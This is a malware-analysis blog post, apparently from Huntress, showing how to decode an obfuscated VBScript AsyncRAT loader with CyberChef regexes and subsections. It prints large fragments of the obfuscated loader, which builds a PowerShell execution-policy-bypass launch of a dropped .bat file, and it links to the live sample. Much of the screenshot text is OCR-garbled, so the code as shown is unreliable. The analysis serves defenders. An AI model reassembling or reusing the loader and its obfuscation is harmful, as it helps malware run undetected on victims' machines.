Advanced CyberChef Tips: AsyncRAT Loader

@ huntress.com/blog/advanced-cyberchef-tips-asyncrat-loader

The Huntress ThreatOps team encountered and investigated an infection involving a
malicious malware loader on a Huntress-protected host. This investigation was initiated via
persistence monitoring, which triggered on a suspicious visual basic (.vbs) script persisting
via a scheduled task.

The script was highly obfuscated and required manual analysis and decoding to investigate.
Today we’ll demonstrate our methods and thought process for manually decoding the
malware.

We'll primarily be using CyberChef, alongside RegExper for validating_regular expressions.

Footholds

Foothold 1 - | N = - u -
Name: UPFCRQOFGHVNBVUABXGFIW

Task File: C:\WINDOWS\System32\Tasks\UPFCRQOFGHVNBVUABXGFIW

Command: C:\ProgramData\UPFCRQOFGHVNBVUABXGFIW\UPFCRQOFGHVNBVUABXGFIW.vbs
Username: S@mumm mogs =mann

File Path: c:\programdata\upfcrqofghvnbvuabxgfiw\upfcrqofghvnbvuabxgfiw.vbs
VirusTotal Detections: Not Found - https://www.virustotal.com/#/file
/07e25cb7d427ac@47f53b3badceacf6fc5fb395612ded5d3566a09800499cd7d

If you would like to follow along, here is a link to the malware sample.
(If you do choose to follow along, make sure you do so inside of a safe virtual machine and
not on your host computer)

Let's Get Started

The initial investigation was for a persistent .vbs file residing inside of a user's startup
directory. There are few legitimate reasons for a .vbs file to be persistent, so we immediately
obtained the file for further analysis and investigation.

Given that .vbs is text-based, we transferred the file into an analysis Virtual Machine and
opened it using a text editor. Upon realizing the script was obfuscated, we transferred the
contents into CyberChef.

Analysing the File

The obfuscated contents of the script can be seen below.
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There are numerous forms of obfuscation used - (Chr(45), StrReverse, Replace, etc.)

Recipe

S

Auto Bake

Input + O3] =

UVXVCAEWLICGGPDCUNGVGU = ""&chr(45)&""&chr(110)&""&chr(111)&"Pr"&chr(111)&" " +" fil"&chr(69)&"
"&chr(45)&""&chr(69)&"x"&chr(69)&" c"+"uti"&chr(111)&""&chr(110)&"P"&chr(111)&" 1"+  icy
Byp"+""&chr(97)&""&chr(115)&""&chr(115)&"
"&chr(45)&"C"&chr(111)&""&chr(109)&" " +""&chr(109)&" "&chr(97)&""&chr(110) &"d
C:\Pr"&chr(111)&""+"gr"&chr(97)&""&chr(109)&"D"+""&chr(97)&" t"&chr(97)&""&" \UPFCRQOFGHVNBVUABXGFIW
\UPFCRQOFGHVNBVUABXGFIW.b"&chr(97)&"t"

KAYWWOXZXNUASUEWKCHFKL =Replace(StrReverse(""&chr(83)&"PUDYDLSDBFXPEFVVYBKGEIecor"&chr(80)&"_"&
chr(50)&""),"IEGKBYVVFEPXFBDSLDYDUP",""&chr(83)&"")

XFGOESLXRCJJCRHXBZBPTS =
Replace(StrReverse('"AORFYUSLDSYWHXKAVVUBTG"&chr(78)&"") , " GTBUVVAKXHWYSDLSUYFROA'", " "&chr (51)&"" ) &KAYWWOXZXNUAS
UEWKCHFKL&Replace(StrReverse(""&chr(82)&"atCITRNIDHPHBVHVENTTKXPO" ) , " OPXKTTNEVHVBHPHDINRTIC",""&chr(83)&"")
WGXOORXASAPQVFKSUEONCP=

Replace (StrReverse("W: JFSKGAKLHXXQRQQPAUNUPZvmi") ," ZPUNUAPQQRQXXHLKAGKSFJ",""&chr(50)&"")
UYPNHFVADWURHNHZPINPTA =

Replace(StrReverse("c\"&chr(84)&" ZJVAUVTTKFKKTNDVGTQRAIZIVAUVTTKFKKTNDVGTQRAI") , " IARQTGVDNTKKFKTTVUAVIZ", "' ""&c
hr(79)&"")&WGXOORXASAPQVFKSUEONCP&Replace (StrReverse(' CRPEZHYCIWUYGSGUCUNGSBni") , " BSGNUCUGSGYUWICYHZEPRC" , ""'&
chr(51)&"")

EXUVOYHXQTCDOGNOFYCNEI =

Replace(StrReverse("r:"&chr(83)&" VKLPWOTKLXHQANTSGUNBOP"&chr(77)&""), "POBNUGSTNAQHXLKTOWPLKV" ,""&chr(84)&"") &
e 4470 = 21 Tr Raw Bytes < LF

Output B0m::

UVXVCAEWLICGGPDCUNGVGU = ""&chr(45)&""&chr(110)&""&chr(111)&"Pr"&chr(111)&""+"fil"&chr(69)&"
"&chr(45)&""&chr(69)&"x"&chr(69)&" c"+"uti"&chr(111)&"""&chr(110)&"P"&chr(111)&" 1"+" icy
Byp"+""&chr(97)&""&chr(115)&""&chr(115)&"
"&chr(45)&"C"&chr(111)&""&chr(109)&'" "+""&chr(109)&" "&chr(97)&""&chr(110) &"d
C:\Pr"&chr(111)&""+"gr"&chr(97)&""&chr(109)&"D"+""&chr(97)&"t"&chr(97)&""&" \UPFCRQOFGHVNBVUABXGF IW
\UPFCRQOFGHVNBVUABXGFIW.b"&chr(97)&"t"

KAYWWOXZXNUASUEWKCHFKL =Replace(StrReverse(""&chr(83)&"PUDYDLSDBFXPEFVVYBKGEIecor"&chr(80)&"_"&
chr(50)&""),"IEGKBYVVFEPXFBDSLDYDUP",""&chr(83)&"")

XFGOESLXRCJICRHXBZBPTS =
Replace(StrReverse("AORFYUSLDSYWHXKAVVUBTG"&chr(78)&""), " GTBUVVAKXHWYSDLSUYFROA", " "&chr (51)&"") &KAYWWOXZXNUAS
UEWKCHFKL&Replace(StrReverse(""&chr(82)&"atCITRNIDHPHBVHVENTTKXPO" ) , " OPXKTTNEVHVBHPHDINRTIC",""&chr(83)&"")
WGX0ORXASAPQVFKSUEONCP=

Replace(StrReverse("W: JFSKGAKLHXXQRQQPAUNUPZvmi") , " ZPUNUAPQQRQXXHLKAGKSFJ",""&chr(50)&"")
UYPNHFVADWURHNHZPINPTA =

Replace(StrReverse("c\"&chr(84)&" ZJVAUVTTKFKKTNDVGTQRAIZIVAUVTTKFKKTNDVGTQRAI" ), "IARQTGVDNTKKFKTTVUAVIZ" , " "&c
hr(79)&"")&WGXOORXASAPQVFKSUEONCP&Replace (StrReverse(' CRPEZHYCIWUYGSGUCUNGSBni") , " BSGNUCUGSGYUWICYHZEPRC" ,""'&
mc 4470 = 21 @© 3ms  Tr Raw Bytes < Lli

We simplified the script using a syntax highlighter set to "vbscript".

Syntax highlighting is a simple and effective means to improve the readability of an
obfuscated script, prior to doing any form of manipulation or analysis.

Tip: Leaving the language as “auto-detect” will work, but we have found that highlighting is
significantly quicker if specified manually. This also solves the occasional issue where
Cyberchef incorrectly identifies the language of an obfuscated script.
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Recipe BB E input + 038 =

UVXVCAEWLJCGGPDCUNGVGU = ""&chr(45)&""&chr(110)&""&chr(111)&"Pr"&chr(111)&""+"fil"&chr(69)&"

ighli 1
SREK g tey © "&chr(45)&""&chr(69)&"x"&chr(69)&" c"+" uti"&chr(111)&""&chr(110)&"P"&chr(111)&" 1" +" icy
Language Byp"+""&chr(97)&""&chr(115)&""&chr(115)&"
vbécﬁpt "&chr(45)&"C"&chr(111)&""&chr(109)&" "+ &chr(109)&""&chr(97)&" " "&chr(110) &"d

C:\Pr"&chr(111)&""+"gr"&chr(97)&""&chr(109)&"D"+""&chr(97)&"t"&chr(97)&""&" \UPFCRQOFGHVNBVUABXGF IW
\UPFCRQOFGHVNBVUABXGFIW.b"&chr(97)&"t"

KAYWWOXZXNUASUEWKCHFKL =Replace(StrReverse(""&chr(83)&"PUDYDLSDBFXPEFVVYBKGEIecor"&chr(80)&"_"&
chr(50)&""),"IEGKBYVVFEPXFBDSLDYDUP" ,""&chr(83)&"")

XFGOESLXRCJJCRHXBZBPTS =
Replace(StrReverse("AORFYUSLDSYWHXKAVVUBTG"&chr(78)&"") , " GTBUVVAKXHWYSDLSUYFROA" ,"""&chr(51)&"" ) &KAYWWOXZXNUAS
UEWKCHFKL&Replace(StrReverse (""&chr(82)&"atCITRNIDHPHBVHVENTTKXPO" ) , " OPXKTTNEVHVBHPHDINRTIC", ""&chr(83)&"")

mc 4470 = 21 Tr Raw Bytes ¢ LF

Output B0O®:oa

UVXVCAEWLICGGPDCUNGVGU = ""&chr(45)&""&chr(110)&""&chr(111)&"Pr"&chr(111)&" "+" fil"&chr(69)&"
"&chr(45)&""&chr(69)&"x"&chr(69)&" c"+"uti"&chr(111)&""&chr(110)&"P"&chr(111)&" 1"+"icy
Byp"+""&chr(97)&""&chr(115)&""&chr(115)&"
"&chr(45)&"C"&chr(111)&""&chr(109)&" "+ "&chr(109)&"""&chr(97)&""&chr(110)&"d
C:\Pr"&chr(111)&""+"gr"&chr(97)&""&chr(109)&"D"+""&chr(97)&" t"&chr(97)&" "&" \UPFCRQOFGHVNBVUABXGFIW
\UPFCRQOFGHVNBVUABXGFIW.b"&chr(97)&"t"

KAYWWOXZXNUASUEWKCHFKL =Replace(StrReverse(""&chr(83)&"PUDYDLSDBFXPEFVVYBKGEIecor"&chr(80)&"_"&
chr(50)&""),"IEGKBYVVFEPXFBDSLDYDUP",""&chr(83)&"")

XFGOESLXRCJJCRHXBZBPTS =
Replace(StrReverse("AORFYUSLDSYWHXKAVVUBTG"&chr(78)&""), " GTBUVVAKXHWYSDLSUYFROA" ,""'&chr(51)&"" ) &KAYWWOXZXNUAS
UEWKCHFKL&Replace(StrReverse (""&chr(82)&"atCITRNIDHPHBVHVENTTKXPO" ) , " OPXKTTNEVHVBHPHDINRTIC", ""&chr(83)&"")
WGX0ORXASAPQVFKSUEONCP=
Replace(StrReverse("W:JFSKGAKLHXXQRQQPAUNUPZvmi") , " ZPUNUAPQQRQXXHLKAGKSFJ", ""&chr(50)&"")
UYPNHFVADWURHNHZPINPTA =

Replace(StrReverse("c\"&chr(84)&" ZIVAUVTTKFKKTNDVGTQRAIZIVAUVTTKFKKTNDVGTQRAI" ), "IARQTGVDNTKKFKTTVUAVIZ",""'&cC
hr(79)&"") &WGX0ORXASAPQVFKSUEONCP&Replace (StrReverse (' CRPEZHYCIWUYGSGUCUNGSBni") , "BSGNUCUGSGYUWJICYHZEPRC", ""&
chr(51)&"")

Obfuscation 1: Decimal Encoded Values

Delving into the first few lines of output, there are numerous numerical values scattered
around. Each numerical value is contained within a “chr” function.

A quick Google reveals that "chr" is a built-in visual basic function that converts decimal
values into their plaintext/ascii representation.

You can find a reference to the chr function here and here. You can also find a full list of
decimal values and their ASCII equivalents here.

Here are the “chr” obfuscated values in their original obfuscated form.

UVXVCAEWLJICGGPDCUNGVGU = ""&chr(45)&""&chr(110)&""'&chr(111)&"Pr"&chr(111)&" " +" fil"&chr(69)&"
"&chr(45)&""&chr(69)&"x"&chr(69)&" c"+"uti"&chr(111)&""&chr(110)&"P"&chr(111)&" 1"+"icy
Byp"+""&chr(97)&""&chr(115)&""&chr(115)&"
"&chr(45)&"C"&chr(111)&""&chr(109)&""+""&chr(109)&""&chr(97)&""&chr(110)&"d
C:\Pr'&chr(111)&""+"gr"&chr(97)&" "&chr(109)&"D"+"""&chr(97)&" t"&chr(97)&""&"\UPFCRQOFGHVNBVUABXGFIW
\UPFCRQOFGHVNBVUABXGFIW.b"&chr(97)&"t"

KAYWWOXZXNUASUEWKCHFKL =Replace(StrReverse(""&chr(83)&"PUDYDLSDBFXPEFVVYBKGEIecor"&chr(80)&" _"&

These numerical values can be crudely decoded using CyberChef, by manually copying out
each value and applying "From Decimal".
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Recipe BB 8 Input +

. 45 110 111 111 69 45 69 69 111 110 111 97 115 115
From Decimal

Delimiter

Space |:| Support signed values
mmc 49 = 1

Output

—nooE-EEonoass

Manually copying the values is simple and will work most of the time, but it is time-
consuming for a large script and requires an analyst to manually copy the results back into
the original script.

We'll now show how to automate this process using CyberChef.

Obfuscation 1: Automating the From Decimal Using CyberChef

To automate the decimal decoding, the ThreatOps team utilized some regex and advanced
CyberChef tactics.

At a high level, this consisted of:

o Developing a regex that would find decimal encoded values (locate the encoded data)

o Converting this regex into a subsection (this tells CyberChef to act ONLY on the
encoded data)

o Extracting decimal values (Remove the "chr" and any surrounding data)

e Decoding the results (Perform the "From Decimal" decoding)

e Removing surrounding junk (Cleaning up any remaining junk)

» Restoring the script back to “normal”

So let’s see that in action.

We first implemented a regex pattern to automatically highlight and extract “chr” encoded
values from the original script.

As a means of testing our initial regex, we utilized the “Regular Expression” and “Highlight
Matches” option in CyberChef.

This allowed the effectiveness of our regex to be observed in real-time.
If anything didn’t match as intended, we could easily adjust the Regex and the highlighting
would update accordingly.
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Recipe BB E input + 028 =

UVXVCAEWLICGGPDCUNGVGU =
""&chr(45)&""&chr (110)&" "&chr (111)&"Pr&chr(111)&""+"fil"&chr(69)&"
Built in regexes "&chr(45)&""&chr(69)&"x"&chr(69)&" c"+"uti"&chr(111)&""&chr(110)&"P"&chr(111)&"1"
User defined +"icy Byp"+""&chr(97)&""&chr(115)&""&chr(115)&"
"&chr(45)8"C"&chr(111) & "&chr (109)&" "+ &chr(109) &""&chr(97)&""&chr (110) &"d
Reqex C:\Pr*&chr(111)&""+"gr"&chr(97) & "&chr(109)&"D"+" "&chr (97)&"t"&chr (97) &""&"
chr\ (\d+\) \UPFCRQOFGHVNBVUABXGFIW\UPFCRQOFGHVNBVUABXGFIW. b"&chr(97)&"t"
KAYWWOXZXNUASUEWKCHFKL =Replace(StrReverse(""&
4 chr(83)&"PUDYDLSDBFXPEFVVYBKGEIecor"&chr(80)&"_"&
chr(50)&""),"IEGKBYVVFEPXFBDSLDYDUP",""&chr(83)&"")

Regular expression

sc 4470 = 21 Tr Raw Bytes «~ LF
Case insensitive [% ~ and $ match at newlines

Output BOm:o:
[J Dot matches all [J unicode support UVXVCAEWLICGGPDCUNGVGU =

"ngchr(45)&" " "&chr(110)&""&chr(111)&"Pr&chr(111)&" "+ fil"&chr(69)&"
"&chr(45)&""&chr(69)&"x"&chr(69)&" c"+" uti"&chr(111)&""&chr(110)&" P &chr(111)&" 1"
D Astral support D Display total +"icy Byp"+""&chr(97)&""&chr(115)&""&chr(115)&"
"&chr(45)&"C"&chr(111)&""&chr(109)&""+""&chr(109) &""&chr(97)&""&chr(110) &"d
C:\Pr"&chr(111)&""+"gr"&chr(97)&""&chr(109)&"D"+""&chr(97)&"t"&chr(97)&""&"
Output format \UPFCRQOFGHVNBVUABXGFIW\UPFCRQOFGHVNBVUABXGFIW. b"&chr(97)&"t"
Highlight matches KAYWWOXZXNUASUEWKCHFKL =Replace(StrReverse(""&
chr(83)&"PUDYDLSDBFXPEFVVYBKGEIecor"&chr(80)&"_"&
chr(50)&""), " IEGKBYVVFEPXFBDSLDYDUP" ,""&chr(83)&"")
XFGOESLXRCJJICRHXBZBPTS =
Replace(StrReverse("AORFYUSLDSYWHXKAVVUBTG"&chr(78)&"") , " GTBUVVAKXHWYSDLSUYFROA"
,"M&chr(51)&"") SKAYWWOXZXNUASUEWKCHFKL&Rep lace (St rReverse(""&chr(82)&"atCITRNIDH
PHBVHVENTTKXPO" ) , "OPXKTTNEVHVBHPHDINRTIC", ""&chr(83)&"")
WGXOORXASAPQVFKSUEONCP=
Replace(StrReverse("W: JFSKGAKLHXXQRQQPAUNUPZvmi") , " ZPUNUAPQQRQXXHLKAGKSFJ" , ""&ch
r(50)&"")

The “Highlight Matches” provides similar functionality to the popular regex testing site
regex101.

REGULAR EXPRESSION 60 matches (506 steps, 2.0ms)

chr\ (\d+\)
TEST STRING

UVXVCAEWLICGGPDCUNGVGU - =
"gchr(45)&""&chr (110)&""&chr (111)&"Pr"&chr (111)&""+"fi1"&chr (69)&"
"&chr(45)&""&chr(69)&"x"&chr(69)&"c"+"uti"&chr(111)&""&chr(110)&"P"
&chr (111)&"1"+"1icy-Byp"+""&chr (97)&""&chr (115)&""&chr (115)&"
"&chr(45)&"C"&chr (111)&""&chr (109)&""+""&chr (109)&""&chr (97)&""&chr
(110)&"d

C:\Pr"&chr (111)&""+"gr"&chr (97)&""&chr (109)&"D"+""&chr (97)&"t"&chr (
97)&""&"\UPFCRQOFGHVNBVUABXGFIW

A visual representation of the regex can be seen here - courtesy of regexper.com.

(Regexper.com is an excellent site for visually learning and testing regex)
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@- “chr(’ digit y @

The regex successfully matched the “chr” and encoded numerical values, so we then
converted it into a “subsection”.

A subsection takes a regex as input, and forces all future operations to match only on values
that match the regex.

The process of "converting to a subsection", is just copy-and-pasting the regex from "Regular
Expression" to "Subsection".

What is a subsection?

A TLDR: A subsection is a feature of CyberChef that forces all future operations to apply
only to values that match a provided regex. (Eg the highlighted values from previous
screenshots)

A subsection is an effective way to “hone in” on particular content or values, allowing bulk
operations without mangling the entire script.

This was useful to avoid accidentally decoding numerical values which are unrelated to the
“chr” functions and encoding.

To hone in on our values, we replaced our previous regex with a subsection. (Making sure to
keep the regex the same)

Recipe BB F input + 0308 =

UVXVCAEWLICGGPDCUNGVGU = ""&chr(45)&""&chr(110)&""&chr(111)&"Pr &chr(111)&""+" fil"&chr (69)&"
"&chr(45)&""&chr(69)&"x"&chr(69)&" c"+"uti"&chr(111)&""&chr(110) &"P"&chr(111)&" 1" +" icy
Section (regex) Byp"+""&chr(97)&""&chr(115)&""&chr(115)&"
chr\ (\d+\) [ Case sensitive matching "&chr(45)&"C"&chr(111)&""&chr(109) &""+""&chr(109)&""&chr(97)&""&chr(110)&"d
C:\Pr&chr(111)&""+"gr"'&chr(97) &""&chr(109)&"D"+""&chr (97)&" t"&chr(97)&""&" \UPFCRQOFGHVNBVUABXGF IW
\UPFCRQOFGHVNBVUABXGFIW. b"&chr(97)&"t"
Global matching O 1gnore errors KAYWWOXZXNUASUEWKCHFKL =Replace (StrReverse(""&chr(83)&"PUDYDLSDBFXPEFVVYBKGEIecor"&chr(80)8&" _"&
chr(50)&""),"IEGKBYVVFEPXFBDSLDYDUP", ""&chr(83)&"")
XFGOESLXRCJJCRHXBZBPTS =

Subsection o n

Replace(StrReverse (*"AORFYUSLDSYWHXKAVVUBTG"&chr (78)&"" ) , "GTBUVVAKXHWYSDLSUYFROA" , ""&chr(51)&"" ) &KAYWWO
XZXNUASUEWKCHFKL&Rep lace (StrReverse (""&chr (82) &"atCITRNIDHPHBVHVENTTKXPO" ) , "OPXKTTNEVHVBHPHDINRTIC , "
&chr(83)&"")

WGXO0ORXASAPQVFKSUEONCP=

Renlare(StrReverse('"W: TFSKGAKI HXXNRNNPAIINIIPZymi™) "ZPIINIIAPNNRNXXHI KAGKSF1" ""Schr(5a)&"")

e 4470 = 21 Tr Raw Bytes ¢ LF
Output BODm:
UVXVCAEWLICGGPDCUNGVGU = ""&chr (45)&""&chr (110)&""&chr (111)&"Pr &chr(111)&""+"fil"&chr (69)&"

"&chr(45)&""&chr(69)&"x"&chr(69)&" c"+"uti"&chr(111)&""&chr(110) &"P"&chr(111)&" 1"+"icy
Byp"+""&chr(97)&""&chr(115)&""&chr(115)&"

"&chr(45)&"C"&chr(111)&""&chr(109) &""+""&chr(109)&""&chr(97)&""&chr(110)&"d
C:\Pr"&chr(111)&""+"gr"&chr(97)&""&chr(109)&"D"+""&chr(97)&" t"&chr(97)&""&" \UPFCRQOFGHVNBVUABXGF IW
\UPFCRQOFGHVNBVUABXGFIW.b"&chr(97)&"t"

KAYWWOXZXNUASUEWKCHFKL =Replace (StrReverse(""&chr(83)&"PUDYDLSDBFXPEFVVYBKGEIecor"&chr(80)&" _"&
chr(50)&"") ,"IEGKBYVVFEPXFBDSLDYDUP",""&chr(83)&"")

XFGOESLXRCJJCRHXBZBPTS =

Replace(StrReverse (' AORFYUSLDSYWHXKAVVUBTG"&chr(78)&"" ), " GTBUVVAKXHWYSDLSUYFROA",""&chr(51)&"" ) &KAYWWO
XZXNUASUEWKCHFKL&Replace (StrReverse(""&chr(82)&"atCITRNIDHPHBVHVENTTKXPO" ) , "OPXKTTNEVHVBHPHDINRTIC" "

&chr(83)&"") P
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At first glance this isn't exciting - but the true power arrives when the recipe is expanded.

For example, the “chr’ can now be easily removed, leaving only the brackets () and decimal

values.

By applying the subsection before the find/replace, we can use the "chr" as a marker to hone

in on specific values.

We could skip the subsection and go straight to find/replace, but this may result in
accidentally acting on other numerical values that are unrelated to our current decoding.

Recipe Bma
Subsection on
Section (regex) L. .
chr\(\d+\) Case sensitive matching
Global matching [ ignore errors
Find / Replace on
Find
chr REGEX ~ Replace

Global match  [] Case insensitive Multiline matching

[ Dot matches all

Input + O3 =

UVXVCAEWLICGGPDCUNGVGU = ""&chr (45)&""&chr(110)&""&chr(111)&"Pr"&chr(111)&" "+ fil"&chr(69)&"
"&chr(45)&""&chr(69)&"x"&chr(69)&" c"+"uti"&chr(111)&""&chr(110) &"P"&chr(111)&" 1"+ icy
Byp"+""&chr(97)&""&chr(115)&""&chr(115)&"

"&chr(45)&"C"&chr(111)&""&chr(109) &""+""&chr(109)&""&chr(97)&""&chr(110) &"d
C:\Pr"&chr(111)&""+"gr"&chr(97)&""&chr(109)&"D"+""&chr(97)&"t"&chr(97)&" " & \UPFCRQOFGHVNBVUABXGFIW
\UPFCRQOFGHVNBVUABXGFIW.b"&chr(97)&"t"

KAYWWOXZXNUASUEWKCHFKL =Replace (StrReverse(""&chr(83)&"PUDYDLSDBFXPEFVVYBKGEIecor"&chr(80)&" _"&
chr(50)&""),"IEGKBYVVFEPXFBDSLDYDUP", ""&chr(83)&'"")

XFGOESLXRCJJCRHXBZBPTS =

Replace(StrReverse (' AORFYUSLDSYWHXKAVVUBTG"&chr(78)&"" ), "GTBUVVAKXHWYSDLSUYFROA" , ""&chr(51)&"" ) S&KAYWWO
XZXNUASUEWKCHFKL&Rep lace (StrReverse(""&chr(82)&"atCITRNIDHPHBVHVENTTKXPO" ) , ""OPXKTTNEVHVBHPHD INRTIC",""
&chr(83)&"")

WGXO0ORXASAPQVFKSUEONCP=

RenlaralStrRevarce("W: TFQKGAKI HXXNRNANPAIINIIPZymi™) "ZPIINIIAPNNRNYXHI KAGKSF 1" "ILrhr (KRS

e 4470 = 21 Tr Raw Bytes ¢ LF
Output BOm:

UVXVCAEWLICGGPDCUNGVGU = ""&(45)&""&(110)&""&(111)&"Pr&(111)&" "+" fil"&(69)&" "&(45)&""&(69)&"x"&
(69)&"c"+"uti"&(111)&""&(110)&"P"&(111)&" 1"+"icy Byp"+""&(97)&""&(115)&""&(115)&" "&(45)&"C"&(111)&""&
(109)&""+""&(109)&""&(97)&""&(110) &"d C:\Pr"&(111)&""+"gr"&(97)&""&(109)&"D"+""&(97)&" t"&(97 ) &""&"
\UPFCRQOFGHVNBVUABXGF IW\UPFCRQOFGHVNBVUABXGFIW.b"&(97)&"t"

KAYWWOXZXNUASUEWKCHFKL =Replace (StrReverse(""&(83)&"PUDYDLSDBFXPEFVVYBKGEIecor"&(80)&" _"&

(50)&"") , " IEGKBYVVFEPXFBDSLDYDUP",""&(83)&"")

XFGOESLXRCJJCRHXBZBPTS = Replace(StrReverse("AORFYUSLDSYWHXKAVVUBTG"&

(78)&"") , "GTBUVVAKXHWYSDLSUYFROA" , ""&(51)&"" ) &KAYWWOXZXNUASUEWKCHFKL&Replace (StrReverse(""&

(82)&"at CITRNIDHPHBVHVENTTKXPO" ) , " OPXKTTNEVHVBHPHDINRTIC",""&(83)&"")

WGXOORXASAPQVFKSUEONCP= Replace (StrReverse("W:JFSKGAKLHXXQRQQPAUNUPZvmi") " ZPUNUAPQQRQXXHLKAGKSFJ",""&
(50)&"")

A second regex can now be applied, this will extract only the numerical values our previous

regex.

In the below screenshot - note how “chr(45)” becomes “45” and “chr(110)” becomes “110”

and so on.
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Recipe

Subsection

Section (regex)

chr\(\d+\)
Global matching

Regular expression

Built in regexes
User defined

Regex

\d+

Case insensitive

|:| Dot matches all

[ pisplay total

o n

Case sensitive matching

[ 1gnore errors

~ and $ match at newlines

|:| Unicode support

Output format
List matches

D Astral support

Input + 0230 =

UVXVCAEWLICGGPDCUNGVGU = ""&chr(45)&""&chr(110)&""&chr(111)&"Pr"&chr(111)&""+" fil"&chr(69)&"
"&chr(45)&""&chr(69)&"x"&chr(69)&" c"+" uti"&chr(111) &""&chr(110)&" P &chr(111)&" 1"+" icy
Byp"+""&chr(97)&""&chr(115)&""&chr(115)&"
"&chr(45)&"C"&chr(111)&""&chr(109)&""+""&chr(109)&""&chr(97)&" "&chr(110)&"d
C:\Pr"&chr(111)&""+"gr"&chr(97)&""&chr(109)&"D"+""&chr(97)&"t"&chr(97)&""&" \UPFCRQOFGHVNBVUABXGF IW
\UPFCRQOFGHVNBVUABXGFIW.b"&chr(97)&"t"

KAYWWOXZXNUASUEWKCHFKL =Replace(StrReverse(""&chr(83)&"PUDYDLSDBFXPEFVVYBKGEIecor"&chr(80)&"_"&
chr(50)&""),"IEGKBYVVFEPXFBDSLDYDUP",""&chr(83)&"")

XFGOESLXRCJJICRHXBZBPTS =

Replace(StrReverse("AORFYUSLDSYWHXKAVVUBTG"&chr(78)&"" ), ""GTBUVVAKXHWYSDLSUYFROA™, ""&chr(51) &"" ) &KAYWW(
XZXNUASUEWKCHFKL&Replace(StrReverse(""&chr(82)&"atCITRNIDHPHBVHVENTTKXP0" ) , " OPXKTTNEVHVBHPHDINRTIC", "'
&chr(83)&"")

WGXOORXASAPQVFKSUEONCP=

Renlare(StrReverse("W: TFSKGAKI HXXNRNNPAIINIIPZvmi™ ) "7PIINIIAPNNRNXXHI KAGKSF1"™ ""Krhr(50)&"")

e 4470 = 21 Tr Raw Bytes ¢ LI
Output B |_[j 6 3

UVXVCAEWLJCGGPDCUNGVGU "&111&""+" Fi1"&69&"

"&458" 8698 X" 8698 ¢ &§110&"P"&111&" 1"+"icy Byp"+""&97&""&115&""&115&"
"&45&"C"&111&" " &109&" "+ " &1098" 8978 '&110&"d C: \Pr"&111&" "+ gr&97&" "&109&" D"+ " &IT& M t" &IT & &
\UPFCRQOFGHVNBVUABXGFIW\UPFCRQOFGHVNBVUABXGFIW.b"&97&"t"

KAYWWOXZXNUASUEWKCHFKL =Replace(StrReverse(""&83&"PUDYDLSDBFXPEFVVYBKGEIecor"&80&" _"&

50&"")," IEGKBYVVFEPXFBDSLDYDUP",""&83&"")

XFGOESLXRCJJCRHXBZBPTS =

Replace(StrReverse("AORFYUSLDSYWHXKAVVUBTG"&78&"") , "GTBUVVAKXHWYSDLSUYFROA", " "&51&"" ) &KAYWWOXZXNUASUEV
KCHFKL&Replace(StrReverse(""&82&"at CITRNIDHPHBVHVENTTKXPO" ) , " OPXKTTNEVHVBHPHDINRTIC", ""'&83&"")
WGXOORXASAPQVFKSUEONCP=

Replace(StrReverse("W: JFSKGAKLHXXQRQQPAUNUPZvmi") , " ZPUNUAPQQRQXXHLKAGKSFJ" , """ &50&"")
UYPNHFVADWURHNHZPINPTA =

Replace(StrReverse("c\"&84&" ZIVAUVTTKFKKTNDVGTQRAIZIVAUVTTKFKKTNDVGTQRAI" ) , " TARQTGVDNTKKFKTTVUAVIZ", "
&79&"" ) SWGXOORXASAPQVFKSUEONCP&Replace (StrReverse (" CRPEZHYCIWUYGSGUCUNGSBNni") , "BSGNUCUGSGYUWICYHZEPRC!
,""&518"")

Honing in on those results, we can see that the “chr” and “()” have been removed. This
leaves only the integers/numerical values, as well as the “& used for string concatenation.
(We’ll deal with these later.)

Output

BO®E

UVXVCAEWLICGGPDCUNGVGU = ""&45&""&110&""&111&"Pr"&111&" "'+ il "&69&"

"&458'"&698 " X" &69& "+ Ut i &111&" ' &110&" P &111&" 1"+ icy Byp"+""&97&" " &115&" "&115&"
"&45&"CM&111&"&109&"  +" ' &109&" " &97&" " &110&"d Ci\Pr"&111&" "+ gr'&97&" " &109&" D" +" " &9T7&" L &OTE" &M
\UPFCRQOFGHVNBVYUABXGFIW\UPFCRQOFGHVNBVUABXGFIW.b"&97&" t"

KAYWWOXZXNUASUEWKCHFKL =Replace(StrReverse(""&83&"PUDYDLSDBFXPEFVVYBKGEIecor"&80&"_"&

50&"")," IEGKBYVVFEPXFBDSLDYDUP" ,""&83&"")

A “from decimal”’ can then be added, which will convert those numerical values back into

ASCII.
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Recipe Bl E input + O3 0 =

UVXVCAEWLICGGPDCUNGVGU = ""&chr (45)&""&chr (110)&""&chr (111)&"Pr&chr(111)&""+"fil"&chr (69)&"
“&chr(45)&""&chr(69)&"x"&chr(69)&" c"+"uti"&chr(111)&""&chr(110)&"P"&chr(111)&"1"+"icy
Section (reqer) Byp"+""&chr(97)&""&chr(115)&""&chr (115)&"
chr\ (\d+\) Case sensitive matching "&chr (45)&" C"&chr(111)&""&chr(109)&""+""&chr(109) &""&chr (97)&""&chr (110)&"d
C:\Pr"&chr(111)&""+"gr"&chr(97)&""&chr(109) &"D"+""&chr(97)&"t"&chr(97)&""&"\UPFCRQOFGHVNBVUABXGFIW
\UPFCRQOFGHVNBVUABXGFIW. b"&chr (97) &"t"
Global matching (O ignore errors KAYWWOXZXNUASUEWKCHFKL =Replace (StrReverse(""&chr(83)&"PUDYDLSDBFXPEFVVYBKGEIecor"&chr(80)&"_"&
chr(50)&"") , "IEGKBYVVFEPXFBDSLDYDUP" , ""&chr(83)&"")
XFGOESLXRCJJCRHXBZBPTS =

Subsection on

Regular expression o n Replace(StrReverse("AORFYUSLDSYWHXKAVVUBTG"&chr(78)&""),"GTBUVVAKXHWYSDLSUYFROA",""&chr(51)&"") &KAYWWO
XZXNUASUEWKCHFKL&Replace(StrReverse(""&chr(82)&"atCITRNIDHPHBVHVENTTKXPO") , " OPXKTTNEVHVBHPHD INRTIC" """
Built in regexes &chr(83)&"")
User defined WGXOORXASAPQVFKSUEONCP=
RenlacalStrReverce("W: TFSKGAKI HXXNRNNPAIINIIPZumi™ ) " 7PIINIIAPNORNXXHI KAGKSF1" ""Schr(5a)&"")
we 4470 = 21 Tr Raw Bytes ¢ LF
Regex
\d+
Output BODm®:
Y

UVXVCAEWLICGGPDCUNGVGU = ""&—&""&n&""&o&"Pr"&o&" " +" fil"&E&"
"E-ERER" X GER" C" " Ut " GOK" GNP EOS" 1"+ icy Byp"+""&ak" "&sE" "EsE"
